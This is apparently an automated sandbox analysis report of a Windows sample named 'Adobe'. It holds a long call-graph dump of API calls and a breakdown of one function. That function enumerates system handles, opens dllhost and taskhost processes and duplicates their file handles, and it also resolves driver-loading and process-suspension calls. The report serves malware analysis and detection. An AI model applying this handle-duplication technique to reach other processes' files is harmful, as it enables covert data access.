39611->39612 39612->39617 39613 42569b 125 API calls 39615 425115 39617->39613 39617->39615 39627 417085 39626->39627 39628 4170ab 39626->39628 39627->39628 39669 413f4f 39642->39669 39645 413f37 K32GetModuleFileNameExW 39646 413f4a 39645->39646 39646->38706 39648 413969 wcscpy 39647->39648 39649 41396c wcschr 39647->39649 39661 413a3a 39648->39661 39649->39648 39651 41398e 39649->39651 39674 4097f7 wcslen wcslen _memicmp 39651->39674 39653 41399a 39654 4139a4 memset 39653->39654 39655 4139e6 39653->39655 39675 409dd5 GetWindowsDirectoryW wcscpy 39654->39675 39657 413a31 wcscpy 39655->39657 39658 4139ec memset 39655->39658 39657->39661 39676 409dd5 GetWindowsDirectoryW wcscpy 39658->39676 39659 4139c9 wcscpy wcscat 39659->39661 39661->38706 39662 413a11 memcpy wcscat 39662->39661 39664 413cb0 GetModuleHandleW 39663->39664 39665 413cda 39663->39665 39664->39665 39666 413cbf GetProcAddress 39664->39666 39667 413ce3 GetProcessTimes 39665->39667 39668 413cf6 39665->39668 39666->39665 39667->38709 39668->38709 39670 413f2f 39669->39670 39671 413f54 39669->39671 39670->39645 39670->39646 39672 40a804 8 API calls 39671->39672 39673 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 39672->39673 39673->39670 39674->39653 39675->39659 39676->39662 39677->38730 39678->38753 39680 409cf9 GetVersionExW 39679->39680 39681 409d0a 39679->39681 39680->39681 39681->38759 39681->38764 39682->38765 39683->38768 39684->38770 39685->38836 39687 40bba5 39686->39687 39734 40cc26 39687->39734 39690 40bd4b 39755 40cc0c 39690->39755 39695 40b2cc 27 API calls 39696 40bbef 39695->39696 39762 40ccf0 _wcsicmp 39696->39762 39698 40bbf5 39698->39690 39763 40ccb4 6 API calls 39698->39763 39700 40bc26 39701 40cf04 17 API calls 39700->39701 39702 40bc2e 39701->39702 39703 40bd43 39702->39703 39704 40b2cc 27 API calls 39702->39704 39705 40cc0c 4 API calls 39703->39705 39706 40bc40 39704->39706 39705->39690 39764 40ccf0 _wcsicmp 39706->39764 39708 40bc46 39708->39703 39709 40bc61 memset memset WideCharToMultiByte 39708->39709 39765 40103c strlen 39709->39765 39711 40bcc0 39712 40b273 27 API calls 39711->39712 39713 40bcd0 memcmp 39712->39713 39713->39703 39714 40bce2 39713->39714 39715 404423 37 API calls 39714->39715 39716 40bd10 39715->39716 39716->39703 39717 40bd3a LocalFree 39716->39717 39718 40bd1f memcpy 39716->39718 39717->39703 39718->39717 39719->38851 39721 409a74 GetTempFileNameW 39720->39721 39722 409a66 GetWindowsDirectoryW 39720->39722 39721->38850 39722->39721 39723->38888 39724->38888 39725->38888 39726->38888 39727->38888 39728->38888 39729->38888 39730->38888 39731->38888 39732->38863 39733->38885 39766 4096c3 CreateFileW 39734->39766 39736 40cc34 39737 40cc3d GetFileSize 39736->39737 39745 40bbca 39736->39745 39738 40afcf 2 API calls 39737->39738 39739 40cc64 39738->39739 39767 40a2ef ReadFile 39739->39767 39741 40cc71 39768 40ab4a MultiByteToWideChar 39741->39768 39743 40cc95 CloseHandle 39744 40b04b ??3@YAXPAX 39743->39744 39744->39745 39745->39690 39746 40cf04 39745->39746 39747 40b633 free 39746->39747 39748 40cf14 39747->39748 39774 40b1ab free free 39748->39774 39750 40bbdd 39750->39690 39750->39695 39751 40cf1b 39751->39750 39753 40cfef 39751->39753 39775 40cd4b 39751->39775 39754 40cd4b 14 API calls 39753->39754 39754->39750 39756 40b633 free 39755->39756 39757 40cc15 39756->39757 39758 40aa04 free 39757->39758 39759 40cc1d 39758->39759 39824 40b1ab free free 39759->39824 39761 40b7d4 memset CreateFileW 39761->38843 39761->38844 39762->39698 39763->39700 39764->39708 39765->39711 39766->39736 39767->39741 39769 40ab93 39768->39769 39770 40ab6b 39768->39770 39769->39743 39771 40a9ce 4 API calls 39770->39771 39772 40ab74 39771->39772 39773 40ab7c MultiByteToWideChar 39772->39773 39773->39769 39774->39751 39776 40cd7b 39775->39776 39809 40aa29 39776->39809 39778 40cef5 39779 40aa04 free 39778->39779 39780 40cefd 39779->39780 39780->39751 39782 40aa29 6 API calls 39783 40ce1d 39782->39783 39784 40aa29 6 API calls 39783->39784 39785 40ce3e 39784->39785 39786 40ce6a 39785->39786 39817 40abb7 wcslen memmove 39785->39817 39787 40ce9f 39786->39787 39820 40abb7 wcslen memmove 39786->39820 39789 40a8d0 7 API calls 39787->39789 39792 40ceb5 39789->39792 39790 40ce56 39818 40aa71 wcslen 39790->39818 39798 40a8d0 7 API calls 39792->39798 39794 40ce8b 39821 40aa71 wcslen 39794->39821 39795 40ce5e 39819 40abb7 wcslen memmove 39795->39819 39801 40cecb 39798->39801 39799 40ce93 39822 40abb7 wcslen memmove 39799->39822 39823 40d00b malloc memcpy free free 39801->39823 39803 40cedd 39804 40aa04 free 39803->39804 39805 40cee5 39804->39805 39806 40aa04 free 39805->39806 39807 40ceed 39806->39807 39808 40aa04 free 39807->39808 39808->39778 39810 40aa33 39809->39810 39811 40aa63 39809->39811 39812 40aa44 39810->39812 39813 40aa38 wcslen 39810->39813 39811->39778 39811->39782 39814 40a9ce malloc memcpy free free 39812->39814 39813->39812 39815 40aa4d 39814->39815 39815->39811 39816 40aa51 memcpy 39815->39816 39816->39811 39817->39790 39818->39795 39819->39786 39820->39794 39821->39799 39822->39787 39823->39803 39824->39761 39825->38903 39826->38911 37667 44dea5 37668 44deb5 FreeLibrary 37667->37668 37669 44dec3 37667->37669 37668->37669 39836 4148b6 FindResourceW 39837 4148cf SizeofResource 39836->39837 39840 4148f9 39836->39840 39838 4148e0 LoadResource 39837->39838 39837->39840 39839 4148ee LockResource 39838->39839 39838->39840 39839->39840 37848 415304 free 37670 415320 realloc 37671 415340 37670->37671 37672 41534d 37670->37672 37674 416760 11 API calls 37672->37674 37674->37671 39841 441b3f 39851 43a9f6 39841->39851 39843 441b61 40024 4386af memset 39843->40024 39845 44189a 39846 4418e2 39845->39846 39850 442bd4 39845->39850 39847 4418ea 39846->39847 40025 4414a9 12 API calls 39846->40025 39850->39847 40026 441409 memset 39850->40026 39852 43aa20 39851->39852 39853 43aadf 39851->39853 39852->39853 39854 43aa34 memset 39852->39854 39853->39843 39855 43aa56 39854->39855 39856 43aa4d 39854->39856 40027 43a6e7 39855->40027 40035 42c02e memset 39856->40035 39861 43aad3 40037 4169a7 11 API calls 39861->40037 39862 43aaae 39862->39853 39862->39861 39877 43aae5 39862->39877 39863 43ac18 39866 43ac47 39863->39866 40039 42bbd5 memcpy memcpy memcpy memset memcpy 39863->40039 39867 43aca8 39866->39867 40040 438eed 16 API calls 39866->40040 39870 43acd5 39867->39870 40042 4233ae 11 API calls 39867->40042 40043 423426 11 API calls 39870->40043 39871 43ac87 40041 4233c5 16 API calls 39871->40041 39875 43ace1 40044 439811 163 API calls 39875->40044 39876 43a9f6 161 API calls 39876->39877 39877->39853 39877->39863 39877->39876 40038 439bbb 22 API calls 39877->40038 39879 43acfd 39885 43ad2c 39879->39885 40045 438eed 16 API calls 39879->40045 39881 43ad19 40046 4233c5 16 API calls 39881->40046 39882 43ad58 40047 44081d 163 API calls 39882->40047 39885->39882 39888 43add9 39885->39888 39887 43ae3a memset 39889 43ae73 39887->39889 39888->39888 40051 423426 11 API calls 39888->40051 40052 42e1c0 147 API calls 39889->40052 39890 43adab 40049 438c4e 163 API calls 39890->40049 39893 43ad6c 39893->39853 39893->39890 40048 42370b memset memcpy memset 39893->40048 39894 43adcc 40050 440f84 12 API calls 39894->40050 39895 43ae96 40053 42e1c0 147 API calls 39895->40053 39899 43aea8 39900 43aec1 39899->39900 40054 42e199 147 API calls 39899->40054 39901 43af00 39900->39901 40055 42e1c0 147 API calls 39900->40055 39901->39853 39905 43af1a 39901->39905 39906 43b3d9 39901->39906 40056 438eed 16 API calls 39905->40056 39911 43b3f6 39906->39911 39915 43b4c8 39906->39915 39908 43b60f 39908->39853 40115 4393a5 17 API calls 39908->40115 39909 43af2f 40057 4233c5 16 API calls 39909->40057 40097 432878 12 API calls 39911->40097 39913 43af51 40058 423426 11 API calls 39913->40058 39921 43b4f2 39915->39921 40103 42bbd5 memcpy memcpy memcpy memset memcpy 39915->40103 39917 43af7d 40059 423426 11 API calls 39917->40059 40104 43a76c 21 API calls 39921->40104 39922 43b529 40105 44081d 163 API calls 39922->40105 39923 43b462 40099 423330 11 API calls 39923->40099 39924 43af94 40060 423330 11 API calls 39924->40060 39928 43b47e 39933 43b497 39928->39933 40100 42374a memcpy memset memcpy memcpy memcpy 39928->40100 39929 43b544 39934 43b55c 39929->39934 40106 42c02e memset 39929->40106 39930 43b428 39930->39923 40098 432b60 16 API calls 39930->40098 39931 43afca 40061 423330 11 API calls 39931->40061 40101 4233ae 11 API calls 39933->40101 40107 43a87a 163 API calls 39934->40107 39935 43afdb 40062 4233ae 11 API calls 39935->40062 39941 43b56c 39944 43b58a 39941->39944 40108 423330 11 API calls 39941->40108 39942 43b4b1 40102 423399 11 API calls 39942->40102 39943 43afee 40063 44081d 163 API calls 39943->40063 40109 440f84 12 API calls 39944->40109 39949 43b4c1 40111 42db80 163 API calls 39949->40111 39951 43b592 40110 43a82f 16 API calls 39951->40110 39954 43b5b4 40112 438c4e 163 API calls 39954->40112 39956 43b5cf 40113 42c02e memset 39956->40113 39958 43b005 39958->39853 39962 43b01f 39958->39962 40064 42d836 163 API calls 39958->40064 39959 43b1ef 40074 4233c5 16 API calls 39959->40074 39962->39959 40072 423330 11 API calls 39962->40072 40073 42d71d 163 API calls 39962->40073 39963 43b212 40075 423330 11 API calls 39963->40075 39964 43b087 40065 4233ae 11 API calls 39964->40065 39965 43add4 39965->39908 40114 438f86 16 API calls 39965->40114 39970 43b22a 40076 42ccb5 11 API calls 39970->40076 39972 43b23f 40077 4233ae 11 API calls 39972->40077 39973 43b10f 40068 423330 11 API calls 39973->40068 39975 43b257 40078 4233ae 11 API calls 39975->40078 39979 43b129 40069 4233ae 11 API calls 39979->40069 39980 43b26e 40079 4233ae 11 API calls 39980->40079 39983 43b09a 39983->39973 40066 42cc15 19 API calls 39983->40066 40067 4233ae 11 API calls 39983->40067 39984 43b282 40080 43a87a 163 API calls 39984->40080 39986 43b13c 40070 440f84 12 API calls 39986->40070 39988 43b29d 40081 423330 11 API calls 39988->40081 39991 43b15f 40071 4233ae 11 API calls 39991->40071 39992 43b2af 39994 43b2b8 39992->39994 39995 43b2ce 39992->39995 40082 4233ae 11 API calls 39994->40082 40083 440f84 12 API calls 39995->40083 39998 43b2c9 40085 4233ae 11 API calls 39998->40085 39999 43b2da 40084 42370b memset memcpy memset 39999->40084 40002 43b2f9 40086 423330 11 API calls 40002->40086 40004 43b30b 40087 423330 11 API calls 40004->40087 40006 43b325 40088 423399 11 API calls 40006->40088 40008 43b332 40089 4233ae 11 API calls 40008->40089 40010 43b354 40090 423399 11 API calls 40010->40090 40012 43b364 40091 43a82f 16 API calls 40012->40091 40014 43b370 40092 42db80 163 API calls 40014->40092 40016 43b380 40093 438c4e 163 API calls 40016->40093 40018 43b39e 40094 423399 11 API calls 40018->40094 40020 43b3ae 40095 43a76c 21 API calls 40020->40095 40022 43b3c3 40096 423399 11 API calls 40022->40096 40024->39845 40025->39847 40026->39850 40028 43a6f5 40027->40028 40029 43a765 40027->40029 40028->40029 40116 42a115 40028->40116 40029->39853 40036 4397fd memset 40029->40036 40033 43a73d 40033->40029 40034 42a115 147 API calls 40033->40034 40034->40029 40035->39855 40036->39862 40037->39853 40038->39877 40039->39866 40040->39871 40041->39867 40042->39870 40043->39875 40044->39879 40045->39881 40046->39885 40047->39893 40048->39890 40049->39894 40050->39965 40051->39887 40052->39895 40053->39899 40054->39900 40055->39900 40056->39909 40057->39913 40058->39917 40059->39924 40060->39931 40061->39935 40062->39943 40063->39958 40064->39964 40065->39983 40066->39983 40067->39983 40068->39979 40069->39986 40070->39991 40071->39962 40072->39962 40073->39962 40074->39963 40075->39970 40076->39972 40077->39975 40078->39980 40079->39984 40080->39988 40081->39992 40082->39998 40083->39999 40084->39998 40085->40002 40086->40004 40087->40006 40088->40008 40089->40010 40090->40012 40091->40014 40092->40016 40093->40018 40094->40020 40095->40022 40096->39965 40097->39930 40098->39923 40099->39928 40100->39933 40101->39942 40102->39949 40103->39921 40104->39922 40105->39929 40106->39934 40107->39941 40108->39944 40109->39951 40110->39949 40111->39954 40112->39956 40113->39965 40114->39908 40115->39853 40117 42a175 40116->40117 40119 42a122 40116->40119 40117->40029 40122 42b13b 147 API calls 40117->40122 40119->40117 40120 42a115 147 API calls 40119->40120 40123 43a174 40119->40123 40147 42a0a8 147 API calls 40119->40147 40120->40119 40122->40033 40137 43a196 40123->40137 40138 43a19e 40123->40138 40124 43a306 40124->40137 40167 4388c4 14 API calls 40124->40167 40127 42a115 147 API calls 40127->40138 40129 43a642 40129->40137 40171 4169a7 11 API calls 40129->40171 40133 43a635 40170 42c02e memset 40133->40170 40137->40119 40138->40124 40138->40127 40138->40137 40148 42ff8c 40138->40148 40156 415a91 40138->40156 40160 4165ff 40138->40160 40163 439504 13 API calls 40138->40163 40164 4312d0 147 API calls 40138->40164 40165 42be4c memcpy memcpy memcpy memset memcpy 40138->40165 40166 43a121 11 API calls 40138->40166 40140 4169a7 11 API calls 40141 43a325 40140->40141 40141->40129 40141->40133 40141->40137 40141->40140 40142 42b5b5 memset memcpy 40141->40142 40143 42bf4c 14 API calls 40141->40143 40146 4165ff 11 API calls 40141->40146 40168 42b63e 14 API calls 40141->40168 40169 42bfcf memcpy 40141->40169 40142->40141 40143->40141 40146->40141 40147->40119 40172 43817e 40148->40172 40150 42ff99 40151 42ffe3 40150->40151 40152 42ffd0 40150->40152 40155 42ff9d 40150->40155 40177 4169a7 11 API calls 40151->40177 40176 4169a7 11 API calls 40152->40176 40155->40138 40157 415a9d 40156->40157 40158 415ab3 40157->40158 40159 415aa4 memset 40157->40159 40158->40138 40159->40158 40324 4165a0 40160->40324 40163->40138 40164->40138 40165->40138 40166->40138 40167->40141 40168->40141 40169->40141 40170->40129 40171->40137 40173 438187 40172->40173 40175 438192 40172->40175 40178 4380f6 40173->40178 40175->40150 40176->40155 40177->40155 40180 43811f 40178->40180 40179 438164 40179->40175 40180->40179 40182 4300e8 3 API calls 40180->40182 40183 437e5e 40180->40183 40182->40180 40206 437d3c 40183->40206 40185 437eb3 40185->40180 40186 437ea9 40186->40185 40191 437f22 40186->40191 40221 41f432 40186->40221 40189 437f06 40268 415c56 11 API calls 40189->40268 40193 432d4e 3 API calls 40191->40193 40194 437f7f 40191->40194 40192 437f95 40269 415c56 11 API calls 40192->40269 40193->40194 40194->40192 40195 43802b 40194->40195 40197 4165ff 11 API calls 40195->40197 40198 438054 40197->40198 40232 437371 40198->40232 40201 43806b 40202 438094 40201->40202 40270 42f50e 138 API calls 40201->40270 40204 437fa3 40202->40204 40205 4300e8 3 API calls 40202->40205 40204->40185 40271 41f638 104 API calls 40204->40271 40205->40204 40207 437d69 40206->40207 40210 437d80 40206->40210 40272 437ccb 11 API calls 40207->40272 40209 437d76 40209->40186 40210->40209 40211 437da3 40210->40211 40213 437d90 40210->40213 40214 438460 134 API calls 40211->40214 40213->40209 40276 437ccb 11 API calls 40213->40276 40217 437dcb 40214->40217 40215 437de8 40275 424f26 123 API calls 40215->40275 40217->40215 40273 444283 13 API calls 40217->40273 40219 437dfc 40274 437ccb 11 API calls 40219->40274 40222 41f54d 40221->40222 40228 41f44f 40221->40228 40223 41f466 40222->40223 40306 41c635 memset memset 40222->40306 40223->40189 40223->40191 40228->40223 40230 41f50b 40228->40230 40277 41f1a5 40228->40277 40302 41c06f memcmp 40228->40302 40303 41f3b1 90 API calls 40228->40303 40304 41f398 86 API calls 40228->40304 40230->40222 40230->40223 40305 41c295 86 API calls 40230->40305 40307 41703f 40232->40307 40234 437399 40235 43739d 40234->40235 40237 4373ac 40234->40237 40314 4446ea 11 API calls 40235->40314 40238 416935 16 API calls 40237->40238 40239 4373ca 40238->40239 40240 438460 134 API calls 40239->40240 40245 4251c4 137 API calls 40239->40245 40249 415a91 memset 40239->40249 40252 43758f 40239->40252 40264 437584 40239->40264 40267 437d3c 135 API calls 40239->40267 40315 425433 13 API calls 40239->40315 40316 425413 17 API calls 40239->40316 40317 42533e 16 API calls 40239->40317 40318 42538f 16 API calls 40239->40318 40319 42453e 123 API calls 40239->40319 40240->40239 40241 4375bc 40243 415c7d 16 API calls 40241->40243 40244 4375d2 40243->40244 40246 4442e6 11 API calls 40244->40246 40266 4373a7 40244->40266 40245->40239 40247 4375e2 40246->40247 40247->40266 40322 444283 13 API calls 40247->40322 40249->40239 40320 42453e 123 API calls 40252->40320 40255 4375f4 40258 437620 40255->40258 40259 43760b 40255->40259 40257 43759f 40260 416935 16 API calls 40257->40260 40262 416935 16 API calls 40258->40262 40323 444283 13 API calls 40259->40323 40260->40264 40262->40266 40264->40241 40321 42453e 123 API calls 40264->40321 40265 437612 memcpy 40265->40266 40266->40201 40267->40239 40268->40185 40269->40204 40270->40202 40271->40185 40272->40209 40273->40219 40274->40215 40275->40209 40276->40209 40278 41bc3b 101 API calls 40277->40278 40279 41f1b4 40278->40279 40280 41edad 86 API calls 40279->40280 40287 41f282 40279->40287 40281 41f1cb 40280->40281 40282 41f1f5 memcmp 40281->40282 40283 41f20e 40281->40283 40281->40287 40282->40283 40284 41f21b memcmp 40283->40284 40283->40287 40285 41f326 40284->40285 40288 41f23d 40284->40288 40286 41ee6b 86 API calls 40285->40286 40285->40287 40286->40287 40287->40228 40288->40285 40289 41f28e memcmp 40288->40289 40291 41c8df 56 API calls 40288->40291 40289->40285 40290 41f2a9 40289->40290 40290->40285 40293 41f308 40290->40293 40294 41f2d8 40290->40294 40292 41f269 40291->40292 40292->40285 40295 41f287 40292->40295 40296 41f27a 40292->40296 40293->40285 40300 4446ce 11 API calls 40293->40300 40297 41ee6b 86 API calls 40294->40297 40295->40289 40298 41ee6b 86 API calls 40296->40298 40299 41f2e0 40297->40299 40298->40287 40301 41b1ca memset 40299->40301 40300->40285 40301->40287 40302->40228 40303->40228 40304->40228 40305->40222 40306->40223 40308 417044 40307->40308 40309 41705c 40307->40309 40311 416760 11 API calls 40308->40311 40313 417055 40308->40313 40310 417075 40309->40310 40312 41707a 11 API calls 40309->40312 40310->40234 40311->40313 40312->40308 40313->40234 40314->40266 40315->40239 40316->40239 40317->40239 40318->40239 40319->40239 40320->40257 40321->40241 40322->40255 40323->40265 40329 415cfe 40324->40329 40333 415d23 __aullrem __aulldvrm 40329->40333 40336 41628e 40329->40336 40330 4163ca 40343 416422 11 API calls 40330->40343 40332 416172 memset 40332->40333 40333->40330 40333->40332 40334 416422 10 API calls 40333->40334 40335 415cb9 10 API calls 40333->40335 40333->40336 40334->40333 40335->40333 40337 416520 40336->40337 40338 416527 40337->40338 40342 416574 40337->40342 40339 416544 40338->40339 40338->40342 40344 4156aa 11 API calls 40338->40344 40341 416561 memcpy 40339->40341 40339->40342 40341->40342 40342->40138 40343->40336 40344->40339 40376 41493c EnumResourceNamesW 37676 4287c1 37677 4287d2 37676->37677 37678 429ac1 37676->37678 37679 428818 37677->37679 37680 42881f 37677->37680 37695 425711 37677->37695 37690 425ad6 37678->37690 37746 415c56 11 API calls 37678->37746 37713 42013a 37679->37713 37741 420244 97 API calls 37680->37741 37685 4260dd 37740 424251 120 API calls 37685->37740 37687 4259da 37739 416760 11 API calls 37687->37739 37693 422aeb memset memcpy memcpy 37693->37695 37694 429a4d 37696 429a66 37694->37696 37700 429a9b 37694->37700 37695->37678 37695->37687 37695->37693 37695->37694 37698 4260a1 37695->37698 37709 4259c2 37695->37709 37712 425a38 37695->37712 37729 4227f0 memset memcpy 37695->37729 37730 422b84 15 API calls 37695->37730 37731 422b5d memset memcpy memcpy 37695->37731 37732 422640 13 API calls 37695->37732 37734 4241fc 11 API calls 37695->37734 37735 42413a 90 API calls 37695->37735 37742 415c56 11 API calls 37696->37742 37738 415c56 11 API calls 37698->37738 37701 429a96 37700->37701 37744 416760 11 API calls 37700->37744 37745 424251 120 API calls 37701->37745 37703 429a7a 37743 416760 11 API calls 37703->37743 37709->37690 37733 415c56 11 API calls 37709->37733 37712->37709 37736 422640 13 API calls 37712->37736 37737 4226e0 12 API calls 37712->37737 37714 42014c 37713->37714 37717 420151 37713->37717 37756 41e466 97 API calls 37714->37756 37716 420162 37716->37695 37717->37716 37718 4201b3 37717->37718 37719 420229 37717->37719 37720 4201b8 37718->37720 37721 4201dc 37718->37721 37719->37716 37722 41fd5e 86 API calls 37719->37722 37747 41fbdb 37720->37747 37721->37716 37725 4201ff 37721->37725 37753 41fc4c 37721->37753 37722->37716 37725->37716 37728 42013a 97 API calls 37725->37728 37728->37716 37729->37695 37730->37695 37731->37695 37732->37695 37733->37687 37734->37695 37735->37695 37736->37712 37737->37712 37738->37687 37739->37685 37740->37690 37741->37695 37742->37703 37743->37701 37744->37701 37745->37678 37746->37687 37748 41fbf1 37747->37748 37749 41fbf8 37747->37749 37752 41fc39 37748->37752 37771 4446ce 11 API calls 37748->37771 37761 41ee26 37749->37761 37752->37716 37757 41fd5e 37752->37757 37754 41ee6b 86 API calls 37753->37754 37755 41fc5d 37754->37755 37755->37721 37756->37717 37759 41fd65 37757->37759 37758 41fdab 37758->37716 37759->37758 37760 41fbdb 86 API calls 37759->37760 37760->37759 37762 41ee41 37761->37762 37763 41ee32 37761->37763 37772 41edad 37762->37772 37775 4446ce 11 API calls 37763->37775 37766 41ee3c 37766->37748 37769 41ee58 37769->37766 37777 41ee6b 37769->37777 37771->37752 37781 41be52 37772->37781 37775->37766 37776 41eb85 11 API calls 37776->37769 37778 41ee70 37777->37778 37779 41ee78 37777->37779 37834 41bf99 86 API calls 37778->37834 37779->37766 37782 41be6f 37781->37782 37783 41be5f 37781->37783 37789 41be8c 37782->37789 37813 418c63 memset memset 37782->37813 37812 4446ce 11 API calls 37783->37812 37785 41be69 37785->37766 37785->37776 37787 41bee7 37787->37785 37817 41a453 86 API calls 37787->37817 37789->37785 37789->37787 37790 41bf3a 37789->37790 37791 41bed1 37789->37791 37816 4446ce 11 API calls 37790->37816 37793 41bef0 37791->37793 37796 41bee2 37791->37796 37793->37787 37795 41bf01 37793->37795 37794 41bf24 memset 37794->37785 37795->37794 37797 41bf14 37795->37797 37814 418a6d memset memcpy memset 37795->37814 37802 41ac13 37796->37802 37815 41a223 memset memcpy memset 37797->37815 37801 41bf20 37801->37794 37803 41ac3f memset 37802->37803 37805 41ac52 37802->37805 37804 41acd9 37803->37804 37804->37787 37807 41ac6a 37805->37807 37818 41dc14 19 API calls 37805->37818 37808 41aca1 37807->37808 37819 41519d 37807->37819 37808->37804 37810 41acc0 memset 37808->37810 37811 41accd memcpy 37808->37811 37810->37804 37811->37804 37812->37785 37813->37789 37814->37797 37815->37801 37816->37787 37818->37807 37822 4175ed 37819->37822 37830 417570 SetFilePointer 37822->37830 37825 41760a ReadFile 37826 417637 37825->37826 37827 417627 GetLastError 37825->37827 37828 4151b3 37826->37828 37829 41763e memset 37826->37829 37827->37828 37828->37808 37829->37828 37831 4175b2 37830->37831 37832 41759c GetLastError 37830->37832 37831->37825 37831->37828 37832->37831 37833 4175a8 GetLastError 37832->37833 37833->37831 37834->37779 37835 417bc5 37836 417c61 37835->37836 37841 417bda 37835->37841 37837 417bf6 UnmapViewOfFile CloseHandle 37837->37837 37837->37841 37839 417c2c 37839->37841 37847 41851e 20 API calls 37839->37847 37841->37836 37841->37837 37841->37839 37842 4175b7 37841->37842 37843 4175d6 CloseHandle 37842->37843 37844 4175c8 37843->37844 37845 4175df 37843->37845 37844->37845 37846 4175ce Sleep 37844->37846 37845->37841 37846->37843 37847->37839 39827 4147f3 39830 414561 39827->39830 39829 414813 39831 41456d 39830->39831 39832 41457f GetPrivateProfileIntW 39830->39832 39835 4143f1 memset _itow WritePrivateProfileStringW 39831->39835 39832->39829 39834 41457a 39834->39829 39835->39834

                                                                                        Executed Functions

                                                                                        Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 354 40de5a 351->354 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 356 40de5d-40de63 354->356 358 40de74-40de78 356->358 359 40de65-40de6c 356->359 358->352 358->356 359->358 361 40de6e-40de71 359->361 361->358 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 381 40df23-40df4a GetCurrentProcess DuplicateHandle 379->381 380->378 382 40dfd1-40dfd3 380->382 381->380 383 40df4c-40df76 memset call 41352f 381->383 382->377 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040DDAD
                                                                                          • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                        • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                          • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                          • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                          • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                        • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                        • CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                        • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                        • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                        • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                        • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                        • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                        • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                        • DuplicateHandle.KERNELBASE(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                        • memset.MSVCRT ref: 0040DF5F
                                                                                        • CloseHandle.KERNEL32(C0000004,?,?,?,?,000000FF,00000000,00000104), ref: 0040DF92
                                                                                        • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                        • CloseHandle.KERNEL32(00000104,?,000000FF,00000000,00000104), ref: 0040DFF2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                                                                                        • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                        • API String ID: 708747863-3398334509
                                                                                        • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                        • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                        • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                        • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                        Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
